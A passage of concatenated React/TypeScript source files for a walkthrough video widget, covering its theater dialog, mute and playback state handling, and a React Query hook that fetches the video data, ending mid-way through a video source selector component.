BOTH by autoplay policy and by our own\n      // `startMuted` (i.e. by the user's mute), so it alone cannot mean\n      // \"forced\". Only a fallback the user never asked for is policy-forced;\n      // otherwise an explicitly muted video reopened at full volume.\n      // Trust the live element only when it has actually been playing; a\n      // freshly remounted poster-mode player always reports muted=false and\n      // would silently discard the user's last explicit mute.\n      muted: (cardFallback.muted && !userMutedRef.current)\n        ? false\n        : ((liveHandle && (liveTime > 0.5 || liveWasPlaying))\n            ? liveHandle.getMuted()\n            : userMutedRef.current),\n    };\n    setTheaterStart(start);\n    setHovered(false);          // force preview inactive\n    setSuspended(false);        // reset YouTube suspend for this open\n    endedLatchRef.current = false;\n    setHandoff(null);           // resume player unmounts\n    selfDrivenForRef.current = true;\n    commitOpen(true);\n  }, [handoff, cardFallback.muted, commitOpen]);\n\n  // Sync for open/close transitions the card did NOT originate — a host\n  // driving the controlled `open` prop from its own UI. Card-originated\n  // transitions are latched by `selfDrivenRef` and skipped here, because the\n  // handler already did the seeding (and a controlled host flips `open` in\n  // RESPONSE to that handler, which is indistinguishable from a host-driven\n  // change without the latch). `defaultOpen` is NOT covered: it is the\n  // uncontrolled initial value, and the initial `theaterStart` already equals\n  // what this seed would compute. This MUST run during the\n  // render that flips `open` — not in an effect: the Dialog's Content (and\n  // therefore MuxPlayer) mounts in that same render, and `startTime` /\n  // `autoPlay` / `startMuted` are LOAD-TIME props read once at construction.\n  // An effect commits one render too late, so the player would already have\n  // been built from the previous `theaterStart` and a stale `suspended`\n  // would post `pauseVideo` at mount. This is React's documented\n  // \"adjust state while rendering\" pattern; the extra render is discarded\n  // before children are committed.\n  const [prevOpen, setPrevOpen] = useState(open);\n  if (open !== prevOpen) {\n    setPrevOpen(open);\n    // RISING edge only: the paused deep-link session ends when the NEXT\n    // (gesture- or host-driven) open mounts a fresh theater — this re-render\n    // commits the cleared flag before that content constructs, so it\n    // autoplays as usual. NEVER clear on close: Radix keeps the closing\n    // theater mounted through its exit animation, and flipping the flag then\n    // flips `autoPlayUnmuted` false→true on the STILL-MOUNTED player, whose\n    // autoplay kick effect resurrects playback — audible after close and\n    // doubled against the card's resume player. Idempotent, so a\n    // discarded-and-retried render attempt decides the same way.\n    if (open && pausedOpenSession) setPausedOpenSession(false);\n    // Compared, not cleared: React can discard and re-run a render attempt\n    // (concurrent interruption, error retry, a host wrapping setOpen in\n    // startTransition). A read-and-clear would decide differently on the\n    // retry; an equality test gives the same answer every time.\n    const selfDriven = selfDrivenForRef.current === open;\n    if (openProp !== undefined && !selfDriven) {\n      if (open) {\n        // A host open has no originating gesture, but resume mode DOES have a\n        // live element — reading only `handoff` discarded however long the mini\n        // player had been running since the close. Mirrors openTheater's seed.\n        const liveResume = resumeHandleRef.current;\n        const liveTime = liveResume?.getCurrentTime() ?? 0;\n        const liveAtEnd = isAtEnd(liveResume?.getDuration() ?? 0, liveTime);\n        setTheaterStart({\n          time: liveAtEnd ? 0 : (liveTime > 0.5 ? liveTime : (handoff?.time ?? 0)),\n          muted: liveResume && liveTime > 0.5 ? liveResume.getMuted() : userMutedRef.current,\n        });\n        setHovered(false);\n        setSuspended(false);\n        endedLatchRef.current = false;\n        setHandoff(null);\n      } else {\n        // Falling edge: the host bypassed handleOpenChange, so without this the\n        // position, the mute intent and the ended state are all simply lost.\n        const h = theaterHandleRef.current;\n        if (h && !isYouTube) {\n          const time = h.getCurrentTime();\n          const muted = h.getMuted();\n          const paused = h.getPaused();\n          const atEnd = isAtEnd(h.getDuration(), time);\n          try { h.pause(); } catch { /* already gone */ }\n          if (!(muted && theaterForcedMuteRef.current && !userMutedRef.current)) {\n            userMutedRef.current = muted;\n            setUserMuted(muted);\n          }\n          setHandoff(\n            (endedLatchRef.current && paused && atEnd) || time < 1\n              ? null\n              : { time, muted, playing: !paused },\n          );\n        } else if (isYouTube) {\n          setSuspended(true);\n        }\n      }\n    }\n  }\n\n  const handleOpenChange = useCallback((next: boolean) => {\n    if (next) { openTheater(); return; }\n    // This close IS the card's own — a controlled host will flip `open` in\n    // response, and the sync above must not re-snapshot the player we are\n    // about to pause (it would read paused=true and downgrade a playing\n    // handoff to paused).\n    selfDrivenForRef.current = false;\n    // Closing: snapshot + stop the theater player BEFORE the exit animation.\n    if (isYouTube) {\n      setSuspended(true);\n      commitOpen(false);\n      return;\n    }\n    const h = theaterHandleRef.current;\n    if (h) {\n      const time = h.getCurrentTime();\n      const muted = h.getMuted();\n      // The theater's own chrome can mute/unmute; that IS user intent, so it\n      // must flow back or reopening would contradict what they just did.\n      // EXCEPT when the element is muted only because unmuted autoplay was\n      // rejected: promoting that into intent silently muted every later hover\n      // preview and every later theater open, for the whole session, with no\n      // gesture from the user. Mirrors the same test `openTheater` already\n      // applies in the opposite direction.\n      const policyForcedMute = muted && theaterForcedMuteRef.current && !userMutedRef.current;\n      if (!policyForcedMute) {\n        userMutedRef.current = muted;\n        setUserMuted(muted);\n      }\n      const paused = h.getPaused();\n      const duration = h.getDuration();\n      const atEnd = isAtEnd(duration, time);\n      h.pause();\n      if (!paused) {\n        // Live playing snapshot always wins (beats a stale ended latch).\n        setHandoff({ time, muted, playing: true });\n      } else if (endedLatchRef.current && atEnd) {\n        setHandoff(null);       // finished — plain poster, no continuation\n      } else if (time < 1) {\n        setHandoff(null);       // degenerate close — keep hover preview enabled\n      } else {\n        setHandoff({ time, muted, playing: false });\n      }\n    }\n    commitOpen(false);\n  }, [isYouTube, commitOpen, openTheater]);\n\n  const onCardFallbackChange = useCallback((s: VideoMutedFallbackState) => {\n    setCardFallback(s);\n    setCardMuted(s.muted);   // sync the toggle with fallback / chrome unmutes\n  }, []);\n\n  // Seed transport state whenever a card player (re)starts.\n  useEffect(() => {\n    if (resumeMode) { setCardMuted(handoff?.muted ?? false); setCardPaused(handoff?.playing === false); }\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, [resumeMode]);\n  // A fresh hover starts a fresh preview — clear the paused flag, and re-seed\n  // the mute toggle from the user's standing intent so an explicit mute is not\n  // silently undone by the hover-start path (which unmutes the element).\n  useEffect(() => {\n    if (hovered) { setCardPaused(false); setCardMuted(userMutedRef.current); }\n  }, [hovered]);\n\n  const dismiss = useCallback((e: React.MouseEvent) => {\n    e.stopPropagation();\n    pausePreviewNow();\n    if (dismissEnabled) dismissWalkthrough(storageKey, dismissalId);\n    setDismissed(true);\n  }, [dismissEnabled, storageKey, dismissalId, pausePreviewNow]);\n\n  // Card controls act on whichever player is live (resume continuation or the\n  // hover preview). The internal glyph is unreachable under the activation\n  // overlay (hideMutedBadge), so these are the only affordances.\n  const activeHandle = () => (resumeMode ? resumeHandleRef.current : previewHandleRef.current);\n\n  /** Big centered glyph — the muted-fallback prompt (unmute, or play when even\n   *  muted autoplay was blocked). Unchanged bite grammar. */\n  const onUnmuteOrPlay = useCallback((e: React.MouseEvent) => {\n    e.stopPropagation();\n    const h = activeHandle();\n    if (!h) return;\n    try {\n      // Branch on the LABEL this button is currently rendering, so the action\n      // always matches the words. Guarding the unmute on `!userMutedRef.current`\n      // (the previous attempt) turned the \"Unmute\" case into a no-op — and\n      // because the corner mute toggle hides while this glyph is up, that left\n      // the card with NO way to restore sound. A control that hides itself on\n      // use is a dead end; see the state-model note at the top of this file.\n      // Recomputed here, NOT read from the render-scoped `controlIsPlay`\n      // (declared below this callback — reading it would repeat the stale\n      // closure bug that silently restarted the theater at 0:00).\n      const actionIsPlay = cardFallback.blocked || cardPaused;\n      if (actionIsPlay) {\n        void h.play();\n        setCardPaused(false);\n      } else {\n        h.setMuted(false);\n        setCardMuted(false);\n        userMutedRef.current = false;\n        setUserMuted(false);\n        void h.play();\n        setCardPaused(false);\n      }\n    } catch { /* ignore */ }\n  }, [resumeMode, cardFallback.blocked, cardPaused]);\n\n  /** Mute TOGGLE — stays on screen in both states so the user can come back. */\n  const onToggleMute = useCallback((e: React.MouseEvent) => {\n    e.stopPropagation();\n    const h = activeHandle();\n    if (!h) return;\n    // Live element, not the `cardMuted` snapshot: the module-level activation\n    // waiter can unmute between this button's pointerdown and its click, which\n    // made the first press of a button labelled \"Unmute\" mute instead.\n    // Read the LIVE element, never `cardMuted`: the two diverge whenever the\n    // player's own chrome changed mute without telling us. (`getMuted()`\n    // returns `false` rather than nullish on a torn-down element, so a `??`\n    // fallback here would silently invert the button — hence the null guard\n    // above rather than a default.)\n    const next = !h.getMuted();\n    try {\n      h.setMuted(next);\n      if (!next && !cardPaused) void h.play();   // never override an explicit pause\n      setCardMuted(next);\n      userMutedRef.current = next;\n      setUserMuted(next);\n    } catch { /* ignore */ }\n  }, [resumeMode, cardMuted, cardPaused]);\n\n  /** Play/pause TOGGLE. Deliberately does NOT tear down the resume player\n   *  (an earlier version cleared the handoff, which unmounted the mini player\n   *  and made the controls vanish with no way back). */\n  const onTogglePlay = useCallback((e: React.MouseEvent) => {\n    e.stopPropagation();\n    const h = activeHandle();\n    if (!h) return;\n    try {\n      // Same predicate the label renders from (`controlIsPlay`). Branching on\n      // raw `cardPaused` meant that in the blocked state the button read \"Play\"\n      // but took the pause branch, so the first press did nothing.\n      if (cardFallback.blocked || cardPaused) { void h.play(); setCardPaused(false); }\n      else { h.pause(); setCardPaused(true); }\n    } catch { /* ignore */ }\n  }, [resumeMode, cardFallback.blocked, cardPaused]);\n\n  const summaryTitle = video?.title || undefined;\n\n  // Already proxied by the host (the hub's DAL applies the prefix AND its\n  // skip-list). Threading a prefix through the widget meant each host restated\n  // it and silently dropped the skip-list.\n  const presenterAvatarSrc = video?.presenterAvatarUrl ?? null;\n\n  const embedUrlKey = useMemo(() => `${video?.mainVideoUrl ?? ''}|${video?.youtubeUrl ?? ''}`, [video?.mainVideoUrl, video?.youtubeUrl]);\n\n  if (!video || (!video.mainVideoUrl && !video.youtubeUrl)) return null;\n\n  // The collapsed card is suppressed by the appear-delay mount gate and by\n  // dismissal — but the THEATER (Dialog) is NOT. A host that controls\n  // `open={true}` must be able to force the theater even before the card has\n  // appeared or after it was dismissed, so the gate lives on the card only.\n  const showCard = mounted && !dismissed;\n\n  // Gate on `!resumeMode`, NOT `!handoff`: a non-playing handoff is only a\n  // remembered timestamp. Gating on `handoff` froze the card as an inert poster\n  // after closing a paused theater (no hover preview, no transport, no way back\n  // except reopening) for the rest of the session.\n  const cardActive = !open && previewAllowed && hovered && !resumeMode;\n\n  // ONE derived mode drives every branch below. Deriving a single discriminant\n  // (instead of testing raw booleans at each call site) is what keeps the card\n  // consistent: 'resume' and 'preview' are mutually exclusive by construction,\n  // so a player can never be half-mounted or a control half-shown.\n  const cardMode: 'resume' | 'preview' | 'poster' =\n    resumeMode ? 'resume' : cardActive ? 'preview' : 'poster';\n\n  // Big centered glyph = the muted-fallback prompt (bite grammar), nothing else.\n  // Gated on an actual player: `cardFallback` is only ever rewritten by a\n  // mounted one, so after it unmounts (e.g. the resume clip ended) a stale\n  // `muted:true` left an orphan glyph that played from 0 with sound and no\n  // transport controls.\n  cardModeRef.current = cardMode;\n\n  const showBigUnmute = cardFallback.muted && cardMode !== 'poster';\n  // \"Play\" whenever the action will start playback: autoplay was blocked, or\n  // the user paused. Otherwise the label understated what the button does.\n  const controlIsPlay = cardFallback.blocked || cardPaused;\n  // Transport toggles stay visible for as long as a card player is mounted —\n  // in BOTH states of each toggle, so muting/pausing is always reversible.\n  const showPlaybackControls = cardMode !== 'poster';\n\n  // --- collapsed card (div root + overlay button + sibling X/unmute controls) ---\n  const collapsed = (\n    <div\n      className={cn(\n        // `group/card` is the SHARED hover contract: VideoHoverPreviewSurface's\n        // badge accents off it. It must live on an element that actually\n        // receives pointer events — the media layer is pointer-events-none, so\n        // a group inside it can never match :hover.\n        'group/card pointer-events-auto relative overflow-hidden rounded-md border border-ods-border bg-ods-card',\n        // The lift is what separates a FLOATING card from the page beneath it;\n        // an in-flow block sitting inside a host card needs no shadow at all.\n        !inline && 'shadow-2xl',\n        // MOBILE = PiP dimensions, not a shrunken desktop card. This is an\n        // UNINVITED overlay on the smallest screens, so it is sized against\n        // the corner-PiP conventions, NOT against system PiP (which is\n        // user-invoked content and is allowed ~60% of the shortest edge):\n        //   - AOSP's legacy corner spec asks for 23% of screen width, then\n        //     clamps up to `default_minimal_size_pip_resizable_task` (108dp in\n        //     BOTH dimensions) — at 16:9 that floor IS 192x108, and on any\n        //     modern phone the clamp is what actually applies. Hence the cap.\n        //   - 192x108 lands at ~6% of a 390x844 screen, inside the \"small\n        //     player\" band (<=20% of screen) rather than the \"large\" one.\n        // 52vw keeps it proportional on narrow devices (320px -> 166x93) and\n        // the 192px cap takes over from ~369px up, i.e. on most phones.\n        // Do NOT go below ~150px: the corner chrome (32px transport pair +\n        // 32px dismiss + the title pill) stops fitting, and the card's own\n        // controls — not the poster — are what set the real floor here.\n        'aspect-video transition-opacity duration-200',\n        // Inline: the HOST owns the width — the card only keeps 16:9 within it.\n        inline ? 'w-full' : 'w-[min(52vw,192px)] sm:w-80',\n        footerHidden ? 'opacity-0 pointer-events-none' : 'opacity-100',\n        className,\n      )}\n      // `mouse` only: pointerenter also fires for touch, which started a\n      // preview on every tap. Focus mirrors hover so keyboard users can reach\n      // the transport controls at all.\n      onPointerEnter={e => { if (e.pointerType === 'mouse' && previewAllowed && !resumeMode) setHovered(true); }}\n      onPointerLeave={e => { if (e.pointerType === 'mouse') setHovered(false); }}\n      // Re-arm hover after a close that left the pointer parked on the card.\n      onPointerMove={e => { if (e.pointerType === 'mouse' && previewAllowed && !resumeMode && !hovered) setHovered(true); }}\n      // Keyboard intent only. Chrome focuses buttons on click, so a raw focus\n      // mirror autostarted an unmuted preview with the pointer nowhere near\n      // the card. `:focus-visible` alone is NOT enough: Radix restores focus\n      // to the hit layer on close, and after an Escape-close that restored\n      // focus IS :focus-visible — the guard admitted precisely the case it was\n      // written to block, so closing with Escape restarted audio in the\n      // corner. Hence the explicit just-closed latch.\n      onFocusCapture={e => {\n        const el = e.target as HTMLElement;\n        // `matches` THROWS SyntaxError on engines that don't know\n        // :focus-visible (Safari < 15.4) — that would escape a React handler.\n        let keyboard = false;\n        try { keyboard = el.matches?.(':focus-visible') ?? false; } catch { keyboard = false; }\n        // Consume the latch: the FIRST focus after a close is Radix returning\n        // focus to this element, never the user arriving at it.\n        if (justClosedRef.current) {\n          justClosedRef.current = false;\n          if (justClosedTimerRef.current) {\n            clearTimeout(justClosedTimerRef.current);\n            justClosedTimerRef.current = null;\n          }\n          return;\n        }\n        if (previewAllowed && !resumeMode && keyboard) setHovered(true);\n      }}\n      onBlurCapture={e => { if (!e.currentTarget.contains(e.relatedTarget as Node | null)) setHovered(false); }}\n    >\n      {/* Media layer is CLICK-TRANSPARENT: a paused/idle player must never\n          swallow the click. Every click that isn't on a control falls through\n          to the activation overlay below and opens the theater. */}\n      <div className=\"pointer-events-none absolute inset-0\">\n        {/* ONE player component for BOTH modes. The card used to render a\n            bespoke resume player next to the shared preview surface, and that\n            duplication is exactly why desktop (preview) and mobile (poster/\n            resume) diverged. Same component, same props, one behaviour. */}\n        <VideoHoverPreviewSurface\n          key={`card-${embedUrlKey}`}\n          // File player only. The theater resolves YouTube-wins; the card must\n          // not mount MuxPlayer on a youtube.com URL (it renders the poster).\n          url={video.mainVideoUrl || ''}\n          posterUrl={video.posterUrl}\n          active={cardActive}\n          isClone={false}\n          badge=\"play\"\n          fit=\"cover\"\n          // Mirrors the card's own responsive width above — a flat 320px hint\n          // made every phone fetch a poster ~1.7x wider than the box.\n          posterSizes=\"(max-width: 639px) 192px, 320px\"\n          preload=\"none\"\n          hideMutedBadge\n          onMutedFallbackChange={onCardFallbackChange}\n          previewHandleRef={cardMode === 'resume' ? resumeHandleRef : previewHandleRef}\n          mutedIntent={userMuted}\n          continuation={cardMode === 'resume'}\n          // `!footerHidden`: mounting with autoplay and pausing in an effect\n          // loses to MuxPlayer re-issuing play when media is ready, which left\n          // audio running behind an invisible, pointer-inert card.\n          autoPlay={cardMode === 'resume' && handoff?.playing !== false && !footerHidden}\n          startTime={cardMode === 'resume' ? handoff!.time : undefined}\n          startMuted={cardMode === 'resume' ? handoff!.muted : false}\n          onEnded={cardMode === 'resume' ? () => setHandoff(null) : () => setCardPaused(true)}\n        />\n      </div>\n\n      {/* CONTENTLESS full-card hit layer. Deliberately a bare <button>, NOT the\n          DS <Button>: that component is an inline-flex, content-sized,\n          centre-aligned control, so as a full-bleed layer it collapsed around\n          its child — which dragged the title pill to the top-left (overlapping\n          the transport) and left most of the card unclickable. A hit layer has\n          no content and no typography; separating it from the label is what\n          makes both positions deterministic. */}\n      <CardHitLayer\n        label={video.title ? `${label}: ${video.title}` : label}\n        onPointerDown={pausePreviewNow}\n        onClick={openTheater}\n        className=\"z-20\"\n      />\n\n      {/* Title pill — its own positioned element (bottom-left), never a child\n          of the hit layer. pointer-events-none so clicks fall through to it. */}\n      <span className=\"pointer-events-none absolute bottom-[var(--spacing-system-xsf)] left-[var(--spacing-system-xsf)] z-20 flex max-w-[calc(100%-2*var(--spacing-system-xsf))] items-center gap-[var(--spacing-system-xsf)] rounded-full bg-ods-overlay py-[var(--spacing-system-xxs)] pl-[var(--spacing-system-xxs)] pr-[var(--spacing-system-sf)] text-h6 text-ods-text-primary\">\n        {presenterAvatarSrc ? (\n          <SquareAvatar src={presenterAvatarSrc} alt=\"\" sizePx={20} variant=\"round\" className=\"shrink-0 border-0\" />\n        ) : (\n          <VideoPlayBadge size=\"sm\" className=\"h-5 w-5 shrink-0\" />\n        )}\n        {/* The video's OWN title is the point of the pill; `label` is only the\n            generic fallback for a video that carries no title. */}\n        <span className=\"truncate\">{summaryTitle || label}</span>\n      </span>\n\n      {/* BIG centred glyph — the muted-fallback prompt (bite grammar). It IS\n          interactive, but ONLY exists while the card is muted, so the two\n          intents never compete: muted → this button unmutes; once unmuted it\n          unmounts and the same click lands on the hit layer and opens the\n          theater. `size=\"icon-glyph\"` keeps the glyph at its own 56px instead\n          of the DS default `[&_svg]:h-5`; `variant=\"glyph\"` means no button\n          surface paints behind a glyph that already carries its own scrim.\n\n          BELOW `sm` IT IS NOT RENDERED — see the corner mute button's\n          mirrored `sm:hidden` below; the two form ONE breakpoint switch and\n          must always be edited together. At the mobile PiP height (~108px)\n          the 56px glyph physically cannot clear both the 32px transport band\n          and the title pill: the three need ~124px of vertical stack, which\n          16:9 does not give back until the card is ~224px wide — i.e. barely\n          smaller than the oversized card this sizing exists to fix. Nothing\n          is lost, because the ONLY state that shows this glyph is resume mode\n          (`cardMode !== 'poster'`), and resume mode always mounts the corner\n          transport pair, which offers the same play AND unmute actions at\n          32px — above the 24px WCAG 2.5.8 (AA) target floor. */}\n      {showBigUnmute && (\n        <Button\n          variant=\"glyph\"\n          size=\"icon-glyph\"\n          aria-label={controlIsPlay ? 'Play' : 'Unmute'}\n          title={controlIsPlay ? 'Play' : 'Unmute'}\n          onPointerDown={e => e.stopPropagation()}\n          onClick={onUnmuteOrPlay}\n          className=\"absolute inset-0 z-30 m-auto hidden sm:inline-flex\"\n        >\n          {controlIsPlay ? <VideoPlayBadge /> : <VideoUnmuteGlyph />}\n        </Button>\n      )}\n\n      {/* Transport toggles — mute/unmute + play/pause. Rendered in BOTH states\n          (never self-hiding) so every action is reversible.\n          CORNER MAP (each control owns exactly one corner, nothing overlaps):\n            top-left = transport   top-right = dismiss\n            bottom-left = title pill (presenter avatar lives INSIDE it) */}\n      {showPlaybackControls && (\n        <div className=\"absolute left-[var(--spacing-system-xsf)] top-[var(--spacing-system-xsf)] z-30 flex items-center gap-[var(--spacing-system-xxs)]\">\n          {/* Hidden while the big centre glyph owns unmuting, so the two are\n              never on screen with the same label and different behaviour —\n              but ONLY from `sm` up, because below `sm` that glyph is not\n              rendered at all (see its comment above). `sm:hidden`, not\n              `hidden`: a plain `hidden` here would combine with the glyph's\n              own `hidden sm:inline-flex` to leave the mobile card with NO\n              unmute affordance whatsoever — precisely the self-hiding dead\n              end called out in the state-model note at the top of this file.\n              These two classNames are ONE switch; never change one alone. */}\n          <Button\n            variant=\"overlay\"\n            size=\"icon-sm\"\n            aria-label={cardMuted ? 'Unmute' : 'Mute'}\n            title={cardMuted ? 'Unmute' : 'Mute'}\n            onPointerDown={e => e.stopPropagation()}\n            onClick={onToggleMute}\n            className={cn(showBigUnmute && !controlIsPlay && 'sm:hidden')}\n          >\n            {cardMuted ? <VolumeXmarkIcon /> : <VolumeUpIcon />}\n          </Button>\n          <Button\n            variant=\"overlay\"\n            size=\"icon-sm\"\n            aria-label={controlIsPlay ? 'Play' : 'Pause'}\n            title={controlIsPlay ? 'Play' : 'Pause'}\n            onPointerDown={e => e.stopPropagation()}\n            onClick={onTogglePlay}\n          >\n            {controlIsPlay ? <PlayIcon /> : <PauseIcon />}\n          </Button>\n        </div>\n      )}\n\n      {/* dismiss (highest) */}\n      {dismissEnabled && (\n        <Button\n          variant=\"overlay\"\n          size=\"icon-sm\"\n          aria-label=\"Dismiss video\"\n          onPointerDown={pausePreviewNow}\n          onClick={dismiss}\n          className=\"absolute right-[var(--spacing-system-xsf)] top-[var(--spacing-system-xsf)] z-40\"\n        >\n          <XmarkIcon />\n        </Button>\n      )}\n    </div>\n  );\n\n  return (\n    <>\n      {showCard &&\n        (inline ? (\n          // No wrapper: a positioning / z-index / safe-area shell around an\n          // in-flow block is exactly what stops it sizing to its container.\n          collapsed\n        ) : (\n          <div\n            className={cn(\n              'pointer-events-none fixed bottom-0 p-[var(--spacing-system-mf)]',\n              video.position === 'right' ? 'right-0' : 'left-0',\n              WALKTHROUGH_Z,\n            )}\n            style={{ paddingBottom: 'max(var(--spacing-system-mf), env(safe-area-inset-bottom))' }}\n          >\n            {collapsed}\n          </div>\n        ))}\n\n      <DialogPrimitive.Root open={open} onOpenChange={handleOpenChange}>\n        <DialogPortal>\n          <DialogOverlay />\n          <DialogPrimitive.Content\n            onOpenAutoFocus={e => {\n              // Prevent Radix's default (first focusable) and move focus to the\n              // close button so keyboard/AT users land inside the dialog.\n              e.preventDefault();\n              closeButtonRef.current?.focus();\n            }}\n            className={cn(\n              // PURE theater: just the video, centered on a dimmed backdrop.\n              // No card chrome, no padding, no summary — the 16:9 stage IS the\n              // dialog, so nothing competes with the video at any breakpoint.\n              // `158svh` is the width at which a 16:9 stage is exactly 89svh\n              // tall, so the height bound is expressed as a WIDTH cap — the\n              // stage keeps its aspect ratio and simply gets narrower on short\n              // viewports, instead of overflowing a fixed centred box that\n              // clips equally off the top and bottom (which put the close\n              // button off-screen on 1366x768 laptops and landscape phones).\n              // Two declarations on purpose: an engine without `svh` (Safari\n              // < 15.4) treats the whole min() as invalid, and on a `fixed`\n              // element that falls back to width:auto and the stage collapses.\n              // The first rule is the safe floor; the second wins where svh\n              // parses.\n              'fixed left-1/2 top-1/2 z-[9999] max-w-none -translate-x-1/2 -translate-y-1/2',\n              'w-[min(92vw,1400px)] w-[min(92vw,1400px,158svh)]',\n              'focus:outline-none',\n            )}\n          >\n            <DialogPrimitive.Title className=\"sr-only\">{summaryTitle || 'Walkthrough video'}</DialogPrimitive.Title>\n            <Video\n              kind={video.youtubeUrl ? 'youtube' : 'file'}\n              url={(video.youtubeUrl || video.mainVideoUrl) as string}\n              poster={video.posterUrl}\n              captionsUrl={video.captionsUrl}\n              title={summaryTitle}\n              layout=\"wide\"\n              startTime={theaterStart.time}\n              playerHandleRef={theaterHandleRef}\n              // Muted still means PLAYING: without this a deliberately muted\n              // card opened a paused theater, breaking parity with the\n              // unmuted path. EXCEPT the paused deep-link session, which\n              // starts fully stopped: no autoplay flag at all, and for\n              // YouTube no autoActivate either — the activated iframe\n              // hardcodes `autoplay=1`, so staying on the facade IS the\n              // paused presentation (clicking it activates and plays).\n              autoPlay={theaterStart.muted && !pausedOpenSession}\n              autoPlayUnmuted={!theaterStart.muted && !pausedOpenSession}\n              startMuted={theaterStart.muted}\n              autoActivate={!pausedOpenSession}\n              suspended={suspended}\n              onMutedFallbackChange={st => { theaterForcedMuteRef.current = st.muted; }}\n              onEnded={() => { endedLatchRef.current = true; }}\n            />\n            {/* Radix `asChild` so the shared Button IS the close trigger (same\n                pattern as every other dialog close in the lib). */}\n            <DialogPrimitive.Close asChild>\n              <Button\n                ref={closeButtonRef}\n                variant=\"overlay\"\n                size=\"icon-sm\"\n                aria-label=\"Close\"\n                className=\"absolute right-[var(--spacing-system-sf)] top-[var(--spacing-system-sf)] z-10\"\n              >\n                <XmarkIcon />\n              </Button>\n            </DialogPrimitive.Close>\n          </DialogPrimitive.Content>\n        </DialogPortal>\n      </DialogPrimitive.Root>\n    </>\n  );\n}\n\n/**\n * The widget pinned into a bottom corner over the page — the app-shell / site\n * placement. Every host that wants \"a demo video somewhere on the page, out of\n * the way\" mounts this.\n */\nexport function FloatingWalkthroughVideo(props: FloatingWalkthroughVideoProps): React.ReactElement {\n  return <WalkthroughVideo {...props} placement=\"floating\" />;\n}\n\n/**\n * The same widget as an in-flow block, sized by whatever the host puts it in —\n * for a page that gives the video a slot of its own rather than a corner.\n *\n * The two overlay defaults are fixed here rather than left to the caller: an\n * in-page block has nothing to stagger against (`appearDelayMs={0}`), and a\n * dismissable one would leave the host's layout with a hole while sharing the\n * floating card's per-platform cookie (`dismissal={false}`). Both are stated\n * once here instead of at every call site, where forgetting either is silent.\n */\nexport function InlineWalkthroughVideo(props: InlineWalkthroughVideoProps): React.ReactElement {\n  return <WalkthroughVideo {...props} placement=\"inline\" appearDelayMs={0} dismissal={false} />;\n}\n","\"use client\";\n\n/**\n * useWalkthroughVideo — client read hook for the per-platform walkthrough video.\n *\n * SSOT for fetching + shaping the widget's data on the CLIENT (any embedder\n * reuses it). The public endpoint returns the RAW body `{ walkthroughVideo }`\n * (no {success,data} wrapper). The video's `captionsUrl` is a RELATIVE\n * `/api/captions/...` path; it is rebased automatically onto\n * `ChatRuntime.endpoints.captionsUrlPrefix` (the standard runtime-endpoint\n * wiring) — same-origin hosts leave that unset and get the URL unchanged.\n * `transformCaptionsUrl` remains as an explicit override for hosts outside\n * a runtime provider.\n *\n * SSR hosts (the hub) resolve the video server-side and pass it to the widget\n * directly; they don't need this hook. It exists for client-only embedders.\n */\n\nimport { useQuery } from '@tanstack/react-query';\nimport { useCaptions } from './use-captions';\nimport type { WalkthroughVideoData } from './walkthrough-video';\n\nexport interface UseWalkthroughVideoOptions {\n  /** Absolute or proxied URL of the public GET route. */\n  endpoint: string;\n  /** SSR/initial seed to avoid a loading flash. */\n  initialData?: WalkthroughVideoData | null;\n  enabled?: boolean;\n  /** Rewrite the RELATIVE captionsUrl (e.g. prefix a `/content` proxy base).\n   *  OPTIONAL override — when unset, the URL is rebased onto\n   *  `ChatRuntime.endpoints.captionsUrlPrefix` (see `rebaseCaptionsUrl`), so\n   *  embedders inside a runtime provider need no wiring here at all. */\n  transformCaptionsUrl?: (relativeUrl: string) => string;\n}\n\nexport interface UseWalkthroughVideoResult {\n  video: WalkthroughVideoData | null;\n  isLoading: boolean;\n}\n\nexport function useWalkthroughVideo(opts: UseWalkthroughVideoOptions): UseWalkthroughVideoResult {\n  const { endpoint, initialData, enabled = true, transformCaptionsUrl } = opts;\n  const captions = useCaptions();\n\n  const query = useQuery<WalkthroughVideoData | null>({\n    queryKey: ['walkthrough-video', endpoint],\n    enabled,\n    initialData: initialData ?? undefined,\n    // `null` is a legitimate cached VALUE to React Query, so an embedder\n    // passing `initialData={null}` to mean \"no seed\" got status:'success' and\n    // no fetch for the whole staleTime window. Treat null as absent.\n    staleTime: 5 * 60 * 1000,\n    // Returns the RAW video, cached under the endpoint key. A real HTTP\n    // failure THROWS so React Query retries and surfaces isError, instead of\n    // caching a fake \"no video\" for the whole stale window. The hub route\n    // answers \"no walkthrough for this platform\" as 200 + null, not 404; the\n    // 404 arm is kept for embedders whose proxy 404s a missing resource.\n    queryFn: async () => {\n      const res = await fetch(endpoint);\n      if (res.status === 404) return null;\n      if (!res.ok) throw new Error(`Walkthrough video request failed (${res.status})`);\n      const body = (await res.json()) as { walkthroughVideo: WalkthroughVideoData | null };\n      return body?.walkthroughVideo ?? null;\n    },\n    // Per-observer transform — NEVER mutate the cached data. `select` also runs\n    // over `initialData`, so the SSR seed is rewritten too. Keeping the proxy\n    // rewrite here (not in queryFn) means a second consumer of the same\n    // endpoint can't inherit this observer's proxied captionsUrl from the cache.\n    select: (video) => {\n      if (!video?.captionsUrl) return video;\n      if (transformCaptionsUrl && video.captionsUrl.startsWith('/')) {\n        return { ...video, captionsUrl: transformCaptionsUrl(video.captionsUrl) };\n      }\n      // Default: rebase onto the configured captions base. Same-origin hosts\n      // leave it unset and get the URL back unchanged — a no-op for them.\n      const rebased = captions.rebase(video.captionsUrl);\n      return rebased === video.captionsUrl ? video : { ...video, captionsUrl: rebased as string };\n    },\n  });\n\n  return { video: query.data ?? null, isLoading: query.isLoading };\n}\n","\"use client\";\n\nimport React, { useState, useCallback } from 'react';\nimport { Upload, X, Video as VideoIcon } from 'lucide-react';\nimport { AIGeneratedBadge } from '../ui/ai-generated-badge';\nimport { Button } from '../ui/button';\nimport { Input } from '../ui/input';\nimport { Label } from '../ui/label';\nimport { Badge } from '../ui/badge';\nimport { YouTubeIcon } from '../icons/youtube-icon';\nimport { Video } from './video';\n\nexport type VideoSourceType = 'youtube' | 'uploaded';\n\nexport interface VideoSourceSelectorProps {\n  /** Current video source type selection */\n  videoSourceType: VideoSourceType;\n  /** Callback when video source type changes */\n  onVideoSourceTypeChange: (type: VideoSourceType) => void;\n  /** YouTube URL value */\n  youtubeUrl: string;\n  /** Callback when YouTube URL changes */\n  onYoutubeUrlChange: (url: string) => void;\n  /** Uploaded video URL value */\n  mainVideoUrl: string;\n  /** Callback when uploaded video URL changes */\n  /**\n   * Fired with the uploaded/typed URL. May return a promise — the upload\n   * spinner 